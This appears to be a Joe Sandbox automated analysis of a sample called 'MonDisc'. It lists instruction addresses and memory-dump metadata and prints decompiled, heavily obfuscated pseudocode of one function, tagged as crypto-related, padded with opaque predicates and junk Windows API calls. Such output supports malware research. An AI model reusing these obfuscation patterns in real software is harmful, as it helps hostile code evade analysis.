0x7ff6ed0f8d72
0x7ff6ed0f8d7e
0x7ff6ed0f8d87
0x7ff6ed0f8d8a
0x7ff6ed0f8d8c
0x7ff6ed0f8d93
0x7ff6ed0f8d9e
0x7ff6ed0f8da4
0x7ff6ed0f8daa
0x7ff6ed0f8dac
0x7ff6ed0f8db2
0x7ff6ed0f8db9
0x7ff6ed0f8dc2
0x7ff6ed0f8dc4
0x7ff6ed0f8dc6
0x7ff6ed0f8dcd
0x7ff6ed0f8dd8
0x7ff6ed0f8ddd
0x7ff6ed0f8de3
0x7ff6ed0f8deb
0x7ff6ed0f8dee
0x7ff6ed0f8df5
0x7ff6ed0f8dfb
0x7ff6ed0f8e05
0x7ff6ed0f8e0e
0x7ff6ed0f8e12
0x7ff6ed0f8e16
0x7ff6ed0f8e1a
0x7ff6ed0f8e1c
0x7ff6ed0f8e1f
0x7ff6ed0f8e21
0x7ff6ed0f8e27
0x7ff6ed0f8e31
0x7ff6ed0f8e34
0x7ff6ed0f8e3b
0x7ff6ed0f8e41
0x7ff6ed0f8e4b
0x7ff6ed0f8e57
0x7ff6ed0f8e59
0x7ff6ed0f8e5d
0x7ff6ed0f8e5f
0x7ff6ed0f8e6b
0x7ff6ed0f8e74
0x7ff6ed0f8e7c
0x7ff6ed0f8e80
0x7ff6ed0f8e84
0x7ff6ed0f8e88
0x7ff6ed0f8e8a
0x7ff6ed0f8e8c
0x7ff6ed0f8e92
0x7ff6ed0f8e94
0x7ff6ed0f8e9b
0x7ff6ed0f8ea2
0x7ff6ed0f8ea4
0x7ff6ed0f8ea8
0x7ff6ed0f8eac
0x7ff6ed0f8eb0
0x7ff6ed0f8eb2
0x7ff6ed0f8eb6
0x7ff6ed0f8eba
0x7ff6ed0f8ec0
0x7ff6ed0f8ec6
0x7ff6ed0f8ecd
0x7ff6ed0f8ed8
0x7ff6ed0f8eda
0x7ff6ed0f8edd
0x7ff6ed0f8ee0
0x7ff6ed0f8eea
0x7ff6ed0f8eed
0x7ff6ed0f8ef6
0x7ff6ed0f8efc
0x7ff6ed0f8eff
0x7ff6ed0f8f05
0x7ff6ed0f8f09
0x7ff6ed0f8f0b
0x7ff6ed0f8f10
0x7ff6ed0f8f19
0x7ff6ed0f8f2a
0x7ff6ed0f8f2f
0x7ff6ed0f8f34
0x7ff6ed0f8f39
0x7ff6ed0f8f3d
0x7ff6ed0f8f3e
0x7ff6ed0f8f42
0x7ff6ed0f8f45
0x7ff6ed0f8f47
0x7ff6ed0f8f4f
0x7ff6ed0f8f58
0x7ff6ed0f8f60
0x7ff6ed0f8f64
0x7ff6ed0f8f68
0x7ff6ed0f8f6c
0x7ff6ed0f8f6e
0x7ff6ed0f8f76
0x7ff6ed0f8f7f
0x7ff6ed0f8f85
0x7ff6ed0f8f89
0x7ff6ed0f8f90
0x7ff6ed0f8f96
0x7ff6ed0f8f9a
0x7ff6ed0f8fa0
0x7ff6ed0f8fa6
0x7ff6ed0f8fae
0x7ff6ed0f8fb9
0x7ff6ed0f8fbf
0x7ff6ed0f8fc5
0x7ff6ed0f8fc8
0x7ff6ed0f8fd0
0x7ff6ed0f8fd9
0x7ff6ed0f8fdc
0x7ff6ed0f8fde
0x7ff6ed0f8fe6
0x7ff6ed0f8ff7
0x7ff6ed0f9001
0x7ff6ed0f9004
0x7ff6ed0f900a
0x7ff6ed0f900e
0x7ff6ed0f9012
0x7ff6ed0f901a
0x7ff6ed0f9020
0x7ff6ed0f9023
0x7ff6ed0f902b
0x7ff6ed0f9034
0x7ff6ed0f903c
0x7ff6ed0f904c
0x7ff6ed0f9053
0x7ff6ed0f9059
0x7ff6ed0f9063
0x7ff6ed0f9065
0x7ff6ed0f9072
0x7ff6ed0f9078
0x7ff6ed0f907b
0x7ff6ed0f907d
0x7ff6ed0f9080
0x7ff6ed0f9087
0x7ff6ed0f908d
0x7ff6ed0f9095
0x7ff6ed0f909e
0x7ff6ed0f90a2
0x7ff6ed0f90a6
0x7ff6ed0f90ae
0x7ff6ed0f90b4
0x7ff6ed0f90b8
0x7ff6ed0f90c2
0x7ff6ed0f90c5
0x7ff6ed0f90cb
0x7ff6ed0f90cf
0x7ff6ed0f90d1
0x7ff6ed0f90d6
0x7ff6ed0f90df
0x7ff6ed0f90e8
0x7ff6ed0f90eb
0x7ff6ed0f90ed
0x7ff6ed0f90f5
0x7ff6ed0f9100
0x7ff6ed0f9106
0x7ff6ed0f910c
0x7ff6ed0f9110
0x7ff6ed0f9116
0x7ff6ed0f9120
0x7ff6ed0f9128
0x7ff6ed0f912b
0x7ff6ed0f9132
0x7ff6ed0f9138
0x7ff6ed0f9140
0x7ff6ed0f9149
0x7ff6ed0f914d
0x7ff6ed0f9151
0x7ff6ed0f9155
0x7ff6ed0f9157
0x7ff6ed0f915d
0x7ff6ed0f915f
0x7ff6ed0f916c
0x7ff6ed0f9172
0x7ff6ed0f9175
0x7ff6ed0f9177
0x7ff6ed0f917a
0x7ff6ed0f9181
0x7ff6ed0f9187
0x7ff6ed0f918f
0x7ff6ed0f919b
0x7ff6ed0f91a1
0x7ff6ed0f91a5
0x7ff6ed0f91ab
0x7ff6ed0f91ca
0x7ff6ed0f91d0
0x7ff6ed0f91da
0x7ff6ed0f91e0
0x7ff6ed0f91e5
0x7ff6ed0f91f6
0x7ff6ed0f91fc
0x7ff6ed0f91ff
0x7ff6ed0f9201
0x7ff6ed0f9207
0x7ff6ed0f920d
0x7ff6ed0f9215
0x7ff6ed0f921e
0x7ff6ed0f9221
0x7ff6ed0f9223
0x7ff6ed0f922b
0x7ff6ed0f9236
0x7ff6ed0f923c
0x7ff6ed0f9242
0x7ff6ed0f9248
0x7ff6ed0f9250
0x7ff6ed0f9259
0x7ff6ed0f925c
0x7ff6ed0f925e
0x7ff6ed0f9266
0x7ff6ed0f9271
0x7ff6ed0f9277
0x7ff6ed0f927d
0x7ff6ed0f9285
0x7ff6ed0f928e
0x7ff6ed0f9291
0x7ff6ed0f9293
0x7ff6ed0f929b
0x7ff6ed0f92a6
0x7ff6ed0f92ac
0x7ff6ed0f92b2
0x7ff6ed0f92ba
0x7ff6ed0f92c3
0x7ff6ed0f92c6
0x7ff6ed0f92c8
0x7ff6ed0f92ce
0x7ff6ed0f92d6
0x7ff6ed0f92e1
0x7ff6ed0f92e7
0x7ff6ed0f92ed
0x7ff6ed0f92f3
0x7ff6ed0f92fb
0x7ff6ed0f9304
0x7ff6ed0f930c
0x7ff6ed0f930f
0x7ff6ed0f9313
0x7ff6ed0f9317
0x7ff6ed0f931b
0x7ff6ed0f931d
0x7ff6ed0f9327
0x7ff6ed0f9337
0x7ff6ed0f9339
0x7ff6ed0f9341
0x7ff6ed0f9347
0x7ff6ed0f934a
0x7ff6ed0f934c
0x7ff6ed0f9356
0x7ff6ed0f9361
0x7ff6ed0f9366
0x7ff6ed0f936c
0x7ff6ed0f9376
0x7ff6ed0f937f
0x7ff6ed0f9385
0x7ff6ed0f9389
0x7ff6ed0f9390
0x7ff6ed0f9396
0x7ff6ed0f93a2
0x7ff6ed0f93a4
0x7ff6ed0f93ad
0x7ff6ed0f93b0
0x7ff6ed0f93b2
0x7ff6ed0f93b8
0x7ff6ed0f93ba
0x7ff6ed0f93c0
0x7ff6ed0f93ca
0x7ff6ed0f93d1
0x7ff6ed0f93e7
0x7ff6ed0f93ef
0x7ff6ed0f93fc
0x7ff6ed0f9405
0x7ff6ed0f940b
0x7ff6ed0f940e
0x7ff6ed0f9418
0x7ff6ed0f941a
0x7ff6ed0f941f
0x7ff6ed0f9429
0x7ff6ed0f942c
0x7ff6ed0f9436
0x7ff6ed0f943f
0x7ff6ed0f9445
0x7ff6ed0f9448
0x7ff6ed0f944a
0x7ff6ed0f9454
0x7ff6ed0f945d
0x7ff6ed0f9465
0x7ff6ed0f946b
0x7ff6ed0f946f
0x7ff6ed0f9473
0x7ff6ed0f9477
0x7ff6ed0f9479
0x7ff6ed0f947d
0x7ff6ed0f947f
0x7ff6ed0f9482
0x7ff6ed0f9489
0x7ff6ed0f948f
0x7ff6ed0f9499
0x7ff6ed0f94a5
0x7ff6ed0f94a7
0x7ff6ed0f94ab
0x7ff6ed0f94ad
0x7ff6ed0f94b4
0x7ff6ed0f94ba
0x7ff6ed0f94c4
0x7ff6ed0f94cd
0x7ff6ed0f94cf
0x7ff6ed0f94d4
0x7ff6ed0f94e2
0x7ff6ed0f94ea
0x7ff6ed0f94f2
0x7ff6ed0f94f6
0x7ff6ed0f94fa
0x7ff6ed0f94fe
0x7ff6ed0f9500
0x7ff6ed0f9506
0x7ff6ed0f950e
0x7ff6ed0f9516
0x7ff6ed0f951c
0x7ff6ed0f9520
0x7ff6ed0f9527
0x7ff6ed0f952d
0x7ff6ed0f952f
0x7ff6ed0f9537
0x7ff6ed0f953f
0x7ff6ed0f9547
0x7ff6ed0f9551
0x7ff6ed0f9557
0x7ff6ed0f955f
0x7ff6ed0f9565
0x7ff6ed0f956d
0x7ff6ed0f9575
0x7ff6ed0f9578
0x7ff6ed0f957a
0x7ff6ed0f9582
0x7ff6ed0f958c
0x7ff6ed0f9592
0x7ff6ed0f9598
0x7ff6ed0f959e
0x7ff6ed0f95a6
0x7ff6ed0f95ac
0x7ff6ed0f95b4
0x7ff6ed0f95ba
0x7ff6ed0f95c0
0x7ff6ed0f95c6
0x7ff6ed0f95ce
0x7ff6ed0f95d6
0x7ff6ed0f95de
0x7ff6ed0f95e2
0x7ff6ed0f95e6
0x7ff6ed0f95ee
0x7ff6ed0f95f6
0x7ff6ed0f95fc
0x7ff6ed0f9600
0x7ff6ed0f9607
0x7ff6ed0f960d
0x7ff6ed0f9613
0x7ff6ed0f961b
0x7ff6ed0f9623
0x7ff6ed0f962b
0x7ff6ed0f962f
0x7ff6ed0f9633
0x7ff6ed0f9637
0x7ff6ed0f9639
0x7ff6ed0f963b
0x7ff6ed0f9643
0x7ff6ed0f964b
0x7ff6ed0f964f
0x7ff6ed0f9653
0x7ff6ed0f9657
0x7ff6ed0f9659
0x7ff6ed0f965d
0x7ff6ed0f9661
0x7ff6ed0f9667
0x7ff6ed0f9669
0x7ff6ed0f9671
0x7ff6ed0f967c
0x7ff6ed0f967e
0x7ff6ed0f9682
0x7ff6ed0f9686
0x7ff6ed0f968c
0x7ff6ed0f9693
0x7ff6ed0f9699
0x7ff6ed0f96a1
0x7ff6ed0f96ac
0x7ff6ed0f96ae
0x7ff6ed0f96b4
0x7ff6ed0f96c1
0x7ff6ed0f96c7
0x7ff6ed0f96ca
0x7ff6ed0f96cc
0x7ff6ed0f96d1
0x7ff6ed0f96dc
0x7ff6ed0f96e4
0x7ff6ed0f96e7
0x7ff6ed0f96ef
0x7ff6ed0f96f5
0x7ff6ed0f96fc
0x7ff6ed0f9706
0x7ff6ed0f970c
0x7ff6ed0f9712
0x7ff6ed0f9718
0x7ff6ed0f971e
0x7ff6ed0f9724
0x7ff6ed0f972b
0x7ff6ed0f9736
0x7ff6ed0f973c
0x7ff6ed0f973f
0x7ff6ed0f9745
0x7ff6ed0f974c
0x7ff6ed0f9752
0x7ff6ed0f9756
0x7ff6ed0f9758
0x7ff6ed0f9764
0x7ff6ed0f976e
0x7ff6ed0f9774
0x7ff6ed0f9779
0x7ff6ed0f9780
0x7ff6ed0f9788
0x7ff6ed0f9790
0x7ff6ed0f9794
0x7ff6ed0f9798
0x7ff6ed0f979c
0x7ff6ed0f97a2
0x7ff6ed0f97a5
0x7ff6ed0f97ab
0x7ff6ed0f97b5
0x7ff6ed0f97bc
0x7ff6ed0f97c2
0x7ff6ed0f97cc
0x7ff6ed0f97d7
0x7ff6ed0f97d9
0x7ff6ed0f97dd
0x7ff6ed0f97df
0x7ff6ed0f97eb
0x7ff6ed0f97f3
0x7ff6ed0f97f9
0x7ff6ed0f97fd
0x7ff6ed0f9804
0x7ff6ed0f980a
0x7ff6ed0f980f
0x7ff6ed0f9816
0x7ff6ed0f981e
0x7ff6ed0f9821
0x7ff6ed0f9823
0x7ff6ed0f982a
0x7ff6ed0f9834
0x7ff6ed0f983a
0x7ff6ed0f9840
0x7ff6ed0f9847
0x7ff6ed0f984f
0x7ff6ed0f9852
0x7ff6ed0f9854
0x7ff6ed0f985a
0x7ff6ed0f9861
0x7ff6ed0f9871
0x7ff6ed0f987e
0x7ff6ed0f9884
0x7ff6ed0f9887
0x7ff6ed0f9889
0x7ff6ed0f9890
0x7ff6ed0f9898
0x7ff6ed0f98a0
0x7ff6ed0f98a4
0x7ff6ed0f98a8
0x7ff6ed0f98ac
0x7ff6ed0f98ae
0x7ff6ed0f98b0
0x7ff6ed0f98b7
0x7ff6ed0f98bf
0x7ff6ed0f98c3
0x7ff6ed0f98c7
0x7ff6ed0f98cb
0x7ff6ed0f98cd
0x7ff6ed0f98d1
0x7ff6ed0f98d5
0x7ff6ed0f98db
0x7ff6ed0f98e2
0x7ff6ed0f98ea
0x7ff6ed0f98f2
0x7ff6ed0f98f6
0x7ff6ed0f98fa
0x7ff6ed0f98fe
0x7ff6ed0f9900
0x7ff6ed0f9906
0x7ff6ed0f990d
0x7ff6ed0f9915
0x7ff6ed0f991b
0x7ff6ed0f991f
0x7ff6ed0f9926
0x7ff6ed0f992c
0x7ff6ed0f9931
0x7ff6ed0f9938
0x7ff6ed0f9940
0x7ff6ed0f9943
0x7ff6ed0f9945
0x7ff6ed0f9948
0x7ff6ed0f994f
0x7ff6ed0f9955
0x7ff6ed0f995f
0x7ff6ed0f996a
0x7ff6ed0f996c
0x7ff6ed0f9970
0x7ff6ed0f9972
0x7ff6ed0f997c
0x7ff6ed0f997e
0x7ff6ed0f9985
0x7ff6ed0f998b
0x7ff6ed0f9992
0x7ff6ed0f999d
0x7ff6ed0f999f
0x7ff6ed0f99a3
0x7ff6ed0f99a5
0x7ff6ed0f99af
0x7ff6ed0f99b6
0x7ff6ed0f99c0
0x7ff6ed0f99c6
0x7ff6ed0f99cc
0x7ff6ed0f99d6
0x7ff6ed0f99dc
0x7ff6ed0f99e2
0x7ff6ed0f99e8
0x7ff6ed0f99ee
0x7ff6ed0f99f5
0x7ff6ed0f99fd
0x7ff6ed0f9a00
0x7ff6ed0f9a04
0x7ff6ed0f9a0a
0x7ff6ed0f9a11
0x7ff6ed0f9a1b
0x7ff6ed0f9a21
0x7ff6ed0f9a27
0x7ff6ed0f9a29
0x7ff6ed0f9a30
0x7ff6ed0f9a38
0x7ff6ed0f9a40
0x7ff6ed0f9a44
0x7ff6ed0f9a48
0x7ff6ed0f9a4c
0x7ff6ed0f9a4e
0x7ff6ed0f9a54
0x7ff6ed0f9a5b
0x7ff6ed0f9a63
0x7ff6ed0f9a69
0x7ff6ed0f9a6d
0x7ff6ed0f9a74
0x7ff6ed0f9a7c
0x7ff6ed0f9a82
0x7ff6ed0f9a85
0x7ff6ed0f9a8f
0x7ff6ed0f9a92
0x7ff6ed0f9a98
0x7ff6ed0f9a9c
0x7ff6ed0f9a9e
0x7ff6ed0f9aa4
0x7ff6ed0f9aaa
0x7ff6ed0f9aaf
0x7ff6ed0f9ab4
0x7ff6ed0f9abc
0x7ff6ed0f9ac4
0x7ff6ed0f9ac8
0x7ff6ed0f9acc
0x7ff6ed0f9ad0
0x7ff6ed0f9ad2
0x7ff6ed0f9adc
0x7ff6ed0f9ae3
0x7ff6ed0f9aeb
0x7ff6ed0f9aef
0x7ff6ed0f9af4
0x7ff6ed0f9af8
0x7ff6ed0f9aff
0x7ff6ed0f9b05
0x7ff6ed0f9b0c
0x7ff6ed0f9b14
0x7ff6ed0f9b1c
0x7ff6ed0f9b21
0x7ff6ed0f9b25
0x7ff6ed0f9b2b
0x7ff6ed0f9b32
0x7ff6ed0f9b3d
0x7ff6ed0f9b43
0x7ff6ed0f9b46
0x7ff6ed0f9b4b
0x7ff6ed0f9b51
0x7ff6ed0f9b53
0x7ff6ed0f9b57
0x7ff6ed0f9b5a

APIs

GetTopWindow.USER32 ref: 00007FF6ED0F8301

Memory Dump Source

Source File: 0000000F.00000002.460721727.00007FF6ED0F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF6ED0F0000, based on PE: true

Associated: 0000000F.00000002.460678290.00007FF6ED0F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.462491399.00007FF6ED1EE000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463407838.00007FF6ED236000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463433786.00007FF6ED239000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463580899.00007FF6ED248000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463744441.00007FF6ED262000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463787572.00007FF6ED3BD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463880996.00007FF6ED3BF000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.464361983.00007FF6ED3F0000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_7ff6ed0f0000_MonDisc.jbxd

Similarity

API ID: Window
String ID:
API String ID: 2353593579-0
Opcode ID: 7b475249e44056b32032913138981995d7b1b0ce169ccba9ed2285b008a1ba8d
Instruction ID: e49f80ef3004198b0b1321d816ec75f01b05e92b15713179f4f69b8085be17b2
Opcode Fuzzy Hash: 7b475249e44056b32032913138981995d7b1b0ce169ccba9ed2285b008a1ba8d
Instruction Fuzzy Hash: A76278A7E289034AF644AF349D5A3F921956F24314F78063AD10ADB2D7FF3EB049810E

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6ED0F82C7 Relevance: 53.3, APIs: 35, Instructions: 845
COMMONCrypto

Download Yara Rule

C-Code - Quality: 60%

			E00007FF67FF6ED0F82C7(char _a144, long long _a152) {
				signed int _t114;
				signed int _t126;
				signed int _t133;
				signed int _t138;
				signed int _t144;
				signed int _t149;
				signed int _t170;
				signed int _t176;
				signed int _t186;
				signed int _t203;
				signed int _t208;
				signed int _t220;
				signed int _t226;
				signed int _t243;
				signed int _t260;
				signed int _t265;
				signed int _t270;
				signed int _t294;
				signed int _t300;
				signed int _t305;
				signed int _t310;
				signed int _t315;
				signed int _t320;
				signed int _t325;
				signed int _t330;
				signed int _t366;
				signed int _t372;
				signed int _t396;
				signed int _t402;
				signed int _t419;
				signed int _t424;
				signed int _t429;
				signed int _t434;
				signed int _t439;
				signed int _t446;
				signed int _t451;
				signed int _t456;
				signed int _t463;
				signed int _t470;
				signed int _t475;
				signed int _t480;
				signed int _t485;
				signed int _t495;
				signed int _t500;
				signed int _t505;
				signed int _t510;
				signed int _t522;
				signed int _t532;
				signed int _t540;
				signed int _t547;
				signed int _t552;
				signed int _t555;
				signed int _t568;
				signed int _t573;
				signed int _t578;
				signed int _t591;
				signed int _t607;
				signed int _t612;
				signed int _t627;
				short _t633;
				signed int _t637;
				signed int _t642;
				signed int _t648;
				signed int _t653;
				signed int _t658;
				signed int _t663;
				signed int _t668;
				signed int _t674;
				signed int _t685;
				signed int _t691;
				signed int _t704;
				signed int _t709;
				signed int _t726;
				signed int _t755;
				signed int _t761;
				signed int _t766;
				signed int _t801;
				signed int _t807;
				signed int _t813;
				signed int _t819;
				signed int _t825;
				signed int _t832;
				signed int _t843;
				signed int _t855;
				signed int _t860;
				signed int _t865;
				signed int _t870;
				signed int _t901;
				signed int _t907;
				signed int _t914;
				signed int _t919;
				signed int _t927;
				signed int _t932;
				signed int _t969;
				signed int _t975;
				signed char _t991;
				signed char _t1077;
				void* _t1116;
				signed int _t1133;
				void* _t1141;
				void* _t1145;
				void* _t1146;
				void* _t1150;
				void* _t1151;
				void* _t1153;
				void* _t1154;
				void* _t1155;
				void* _t1156;
				void* _t1157;
				void* _t1158;
				void* _t1161;
				void* _t1162;
				void* _t1163;
				void* _t1165;
				void* _t1166;
				void* _t1167;
				void* _t1168;
				void* _t1169;
				void* _t1170;
				void* _t1171;
				void* _t1172;
				void* _t1174;
				void* _t1175;
				void* _t1176;
				void* _t1177;
				void* _t1178;
				void* _t1180;
				void* _t1181;
				void* _t1182;
				void* _t1186;
				void* _t1188;
				void* _t1189;
				void* _t1192;
				void* _t1194;
				void* _t1195;
				void* _t1196;
				void* _t1197;
				void* _t1199;
				void* _t1201;
				void* _t1202;
				void* _t1205;
				void* _t1206;
				void* _t1207;
				void* _t1208;
				void* _t1209;
				void* _t1211;
				void* _t1212;
				void* _t1213;
				void* _t1214;
				void* _t1215;
				void* _t1216;
				void* _t1218;
				void* _t1219;
				void* _t1222;
				void* _t1225;
				void* _t1226;
				void* _t1227;
				void* _t1229;
				void* _t1232;
				void* _t1234;
				void* _t1235;
				void* _t1236;
				void* _t1238;
				void* _t1242;
				void* _t1243;
				void* _t1244;
				void* _t1245;
				void* _t1246;
				void* _t1247;
				void* _t1248;
				void* _t1249;
				void* _t1250;
				void* _t1252;
				void* _t1253;
				void* _t1255;
				void* _t1260;
				void* _t1261;
				void* _t1263;
				void* _t1264;
				void* _t1265;
				void* _t1266;
				void* _t1268;
				void* _t1270;
				void* _t1271;
				void* _t1272;
				void* _t1274;
				void* _t1275;
				void* _t1277;
				void* _t1278;
				void* _t1279;
				void* _t1280;
				void* _t1282;
				void* _t1283;
				void* _t1285;
				void* _t1287;
				void* _t1288;
				void* _t1289;
				void* _t1290;
				void* _t1291;
				void* _t1292;
				long long _t1295;
				void* _t1296;
				void* _t1297;
				void* _t1302;
				void* _t1307;
				void* _t1308;
				void* _t1309;
				void* _t1311;
				void* _t1312;
				void* _t1313;
				void* _t1314;
				void* _t1315;
				void* _t1316;

				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm0, xmm6");
				if (_t1145 >= 0) goto 0xed0f82a4;
				 *0xed236f60 = _t975;
				sil = 0x24;
				_t114 = E00007FF67FF6ED184484(_t1295);
				if (_t1145 >= 0) goto 0xed0f82fa;
				_t1146 = ((_t114 & 0x8000007f) - _t975 | 0xffffff80) + _t975 - 0x5f;
				if (_t1146 <= 0) goto 0xed0f8321;
				GetTopWindow(??);
				E00007FF67FF6ED184484(_t1295);
				if (_t1146 >= 0) goto 0xed0f8317;
				goto 0xed0f838e;
				_t126 = E00007FF67FF6ED184484(_t1295) & 0x8000007f;
				if (_t126 >= 0) goto 0xed0f8331;
				if ((_t126 - _t975 | 0xffffff80) + _t975 != _t1141) goto 0xed0f8342;
				AnyPopup();
				E00007FF67FF6ED184484(_t1295);
				goto 0xed0f837c;
				dil = 0x28;
				goto 0xed0f835a;
				_t1150 = dil - 0x2c;
				if (_t1150 >= 0) goto 0xed0f8372;
				dil = dil + _t975;
				 *0xed236f60 = dil & 0xffffffff;
				_t133 = E00007FF67FF6ED184484(_t1295);
				if (_t1150 >= 0) goto 0xed0f836d;
				_t1151 = ((_t133 & 0x8000007f) - _t975 | 0xffffff80) + _t975 - 0x43;
				if (_t1151 != 0) goto 0xed0f8347;
				_t138 = E00007FF67FF6ED184484(_t1295);
				if (_t1151 >= 0) goto 0xed0f8387;
				sil = sil + _t975;
				 *0xed236f60 = 0 | ((_t138 & 0x8000007f) - _t975 | 0xffffff80) + _t975 == _t1141;
				 *0xed236f60 = sil & 0xffffffff;
				_t1153 = sil - 0x2a;
				if (_t1153 < 0) goto 0xed0f82ea;
				_t144 = E00007FF67FF6ED184484(_t1295);
				if (_t1153 >= 0) goto 0xed0f83bb;
				_t1154 = ((_t144 & 0x8000007f) - _t975 | 0xffffff80) + _t975 - 0x1f;
				if (_t1154 > 0) goto 0xed0f83de;
				_t149 = E00007FF67FF6ED184484(_t1295);
				if (_t1154 >= 0) goto 0xed0f83d0;
				_t1155 = ((_t149 & 0x8000007f) - _t975 | 0xffffff80) + _t975 - 0x1f;
				 *0xed236f60 = 0 | _t1155 <= 0x00000000;
				E00007FF67FF6ED184484(_t1295);
				if (_t1155 >= 0) goto 0xed0f83ee;
				asm("movsd xmm6, [0x111782]");
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm0, xmm6");
				if (_t1155 < 0) goto 0xed0f8433;
				IsIconic(??);
				E00007FF67FF6ED184484(_t1295);
				if (_t1155 >= 0) goto 0xed0f841c;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm0, xmm6");
				 *0xed236f60 = 0 | _t1155 >= 0x00000000; // executed
				E00007FF67FF6ED106FB0(_t1155, _t1295, _t1297, _t1302); // executed
				_a152 = _t1295;
				E00007FF67FF6ED1075F0(0, _t1116, 0x8000007f, _t1296, _t1295, _t1307, _t1309, _t1311, _t1312);
				r9d = 0;
				r8d = r15d;
				E00007FF67FF6ED0F56BC(_t1155, _t1296, _t1295, _t1315, _t1295, _t1307, _t1308, _t1313, _t1314, _t1315, _t1316); // executed
				 *0xed236f60 = 0x35;
				_t1156 = 0x35 + _t975 - 0x37;
				if (_t1156 < 0) goto 0xed0f845e;
				_t170 = E00007FF67FF6ED184484(_t1295);
				r15d = 0x8000007f;
				r14d = 0xffffff80;
				if (_t1156 >= 0) goto 0xed0f848b;
				_t1157 = ((_t170 & r15d) - _t975 | r14d) + _t975 - 0xb;
				if (_t1157 == 0) goto 0xed0f84ae;
				GetMessageTime();
				_t176 = E00007FF67FF6ED184484(_t1295);
				if (_t1157 >= 0) goto 0xed0f84a7;
				_t1158 = ((_t176 & r15d) - _t975 | r14d) + _t975 - 0xb;
				goto 0xed0f84d5;
				E00007FF67FF6ED184484(_t1295);
				if (_t1158 >= 0) goto 0xed0f84bf;
				_t186 = E00007FF67FF6ED184484(_t1295);
				if (_t1158 >= 0) goto 0xed0f84d0;
				 *0xed236f60 = 0 | ((_t186 & r15d) - _t975 | r14d) + _t975 != 0x0000000f;
				GetLastActivePopup(??);
				GetDesktopWindow();
				GetTopWindow(??);
				GetCurrentProcess();
				_t991 = sil;
				 *0xed236f60 = _t991 & 0x000000ff;
				if (_t991 + _t975 - 0x30 < 0) goto 0xed0f8502;
				_a144 = 0x4e;
				 *0xed236f60 = 0x4a;
				_t1161 = 0x4a + _t975 - 0x4e;
				if (_t1161 < 0) goto 0xed0f851d;
				AnyPopup();
				E00007FF67FF6ED184484(_t1295);
				if (_t1161 >= 0) goto 0xed0f8543;
				asm("movsd xmm6, [0x11158d]");
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				if (_t1161 <= 0) goto 0xed0f85be;
				_t203 = E00007FF67FF6ED184484(_t1295);
				if (_t1161 >= 0) goto 0xed0f856a;
				_t1162 = ((_t203 & r15d) - _t975 | r14d) + _t975 - 0x44;
				if (_t1162 == 0) goto 0xed0f858e;
				_t208 = E00007FF67FF6ED184484(_t1295);
				if (_t1162 >= 0) goto 0xed0f8580;
				_t1163 = ((_t208 & r15d) - _t975 | r14d) + _t975 - 0x44;
				 *0xed236f60 = 0 | _t1163 != 0x00000000;
				 *0xed236f60 = _t975;
				E00007FF67FF6ED184484(_t1295);
				if (_t1163 >= 0) goto 0xed0f85a5;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				 *0xed236f60 = 0 | _t1163 > 0x00000000;
				goto 0xed0f860f;
				_t220 = E00007FF67FF6ED184484(_t1295);
				if (_t1163 >= 0) goto 0xed0f85cf;
				if (((_t220 & r15d) - _t975 | r14d) + _t975 != 0x61) goto 0xed0f85f0;
				dil = 0x14;
				E00007FF67FF6ED1EE3D8();
				dil = dil + _t975;
				 *0xed236f60 = dil & 0xffffffff;
				_t1165 = dil - 0x1d;
				if (_t1165 < 0) goto 0xed0f85d7;
				_t226 = E00007FF67FF6ED184484(_t1295);
				if (_t1165 >= 0) goto 0xed0f8601;
				_t1166 = ((_t226 & r15d) - _t975 | r14d) + _t975 - 0x61;
				 *0xed236f60 = 0 | _t1166 != 0x00000000;
				E00007FF67FF6ED184484(_t1295);
				if (_t1166 >= 0) goto 0xed0f8620;
				asm("movsd xmm6, [0x111510]");
				r15d = 4;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm0, xmm6");
				if (_t1166 < 0) goto 0xed0f8674;
				 *0xed236f60 = r15d;
				E00007FF67FF6ED184484(_t1295);
				if (_t1166 >= 0) goto 0xed0f8658;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm0, xmm6");
				 *0xed236f60 = 0 | _t1166 >= 0x00000000;
				goto 0xed0f8709;
				_t243 = E00007FF67FF6ED184484(_t1295);
				if (_t1166 >= 0) goto 0xed0f8687;
				_t1167 = ((_t243 & 0x8000007f) - _t975 | r14d) + _t975 - 0x2f;
				if (_t1167 != 0) goto 0xed0f8698;
				E00007FF67FF6ED184484(_t1295);
				goto 0xed0f86f0;
				dil = bpl;
				E00007FF67FF6ED184484(_t1295);
				if (_t1167 >= 0) goto 0xed0f86b0;
				asm("movsd xmm6, [0x111348]");
				goto 0xed0f86dd;
				_t1168 = dil - 0x6b;
				if (_t1168 >= 0) goto 0xed0f86eb;
				dil = dil + _t975;
				 *0xed236f60 = dil & 0xffffffff;
				E00007FF67FF6ED184484(_t1295);
				if (_t1168 >= 0) goto 0xed0f86dd;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				if (_t1168 >= 0) goto 0xed0f86ba;
				_t260 = E00007FF67FF6ED184484(_t1295);
				if (_t1168 >= 0) goto 0xed0f86fb;
				_t1169 = ((_t260 & 0x8000007f) - _t975 | r14d) + _t975 - 0x2f;
				 *0xed236f60 = 0 | _t1169 == 0x00000000;
